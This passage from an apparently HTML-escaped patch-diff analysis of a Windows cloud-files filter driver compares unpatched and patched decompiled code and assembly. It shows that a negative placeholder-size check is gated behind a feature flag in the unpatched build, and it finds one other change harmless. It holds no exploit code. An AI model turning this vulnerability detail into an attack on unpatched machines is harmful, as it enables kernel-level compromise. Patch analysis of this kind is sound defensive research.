&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SyncPolicy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000CF0B&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// always reject negative size&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Downstream use of *a9 (v45 = a9) in both builds:&lt;/span&gt;
&lt;span class="c1"&gt;//   FltSetInformationFile(..., v45, 8, FileEndOfFileInformation);&lt;/span&gt;
&lt;span class="c1"&gt;//   if (*v45 != old) HsmpUpdateBitmapSizesNoLock(a2, *v45);&lt;/span&gt;
&lt;span class="c1"&gt;//   **(a2 + 0x98) = *v45;                       // placeholder size field&lt;/span&gt;
&lt;span class="c1"&gt;//   HsmpSetFileVDL(..., FileObject, *v45);       // valid-data-length&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 2 — &lt;code&gt;CldSyncConnectRoot&lt;/code&gt; (no security difference)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED: legacy branch (flag == FALSE) ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;reg_FeatureDescriptors_a&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// refcount gate FIRST&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;create_new_entry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// identity match&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// reuse (refcount already gated &amp;gt; 0)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000CF09&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;done&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- UNPATCHED flag == TRUE branch  ==  PATCHED unified path (sub_1C0032880) ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// stale/disconnected slot&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;create_new_entry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// recreate (missing in legacy branch)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// refcount check before reuse&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;create_new_entry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// reuse&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000CF09&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Both branches require &lt;code&gt;refcount (+0x30) &amp;gt; 0&lt;/code&gt; before returning an existing entry, so neither binary returns a refcount-exhausted entry.&lt;/p&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Finding 1 — &lt;code&gt;HsmiOpUpdatePlaceholderFile&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched (&lt;code&gt;sub_1C006BC60&lt;/code&gt;), rejection gated behind the feature (at &lt;code&gt;0x1C006BD31&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006BD31&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g_Feature_2333116728_58628732_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006BD4A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006BD4F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006BD51&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C006BDE5&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;OFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rejection&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006BD57&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="vm"&gt;?&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006BD5A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C006BDE5&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006BD60&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006BD64&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jge&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C006BDE5&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006BD66&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C000CF0Bh&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000CF0B&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched (&lt;code&gt;sub_1C006A9B8&lt;/code&gt;), rejection unconditional (at &lt;code&gt;0x1C006AA9E&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006AA9E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="vm"&gt;?&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006AAA7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006AAAA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jge&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C006AB2B&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006AAAC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C000CF0Bh&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000CF0B&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;There is no &lt;code&gt;EvaluateCurrentState&lt;/code&gt; call and no reference to &lt;code&gt;g_Feature_2333116728_58628732&lt;/code&gt; before the check in the patched function; the feature symbol does not appear anywhere in the patched binary.&lt;/p&gt;
&lt;h3&gt;Finding 2 — &lt;code&gt;CldSyncConnectRoot&lt;/code&gt; (both branches gate refcount)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched legacy branch (&lt;code&gt;sub_1C0033950&lt;/code&gt;, flag == FALSE, at &lt;code&gt;0x1C0033A79&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0033A79&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;load&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0033A7C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0033A7E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jle&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_1C0033B05&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;create&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0033A88&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;load&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connectedId&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0033A8C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;compare&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;
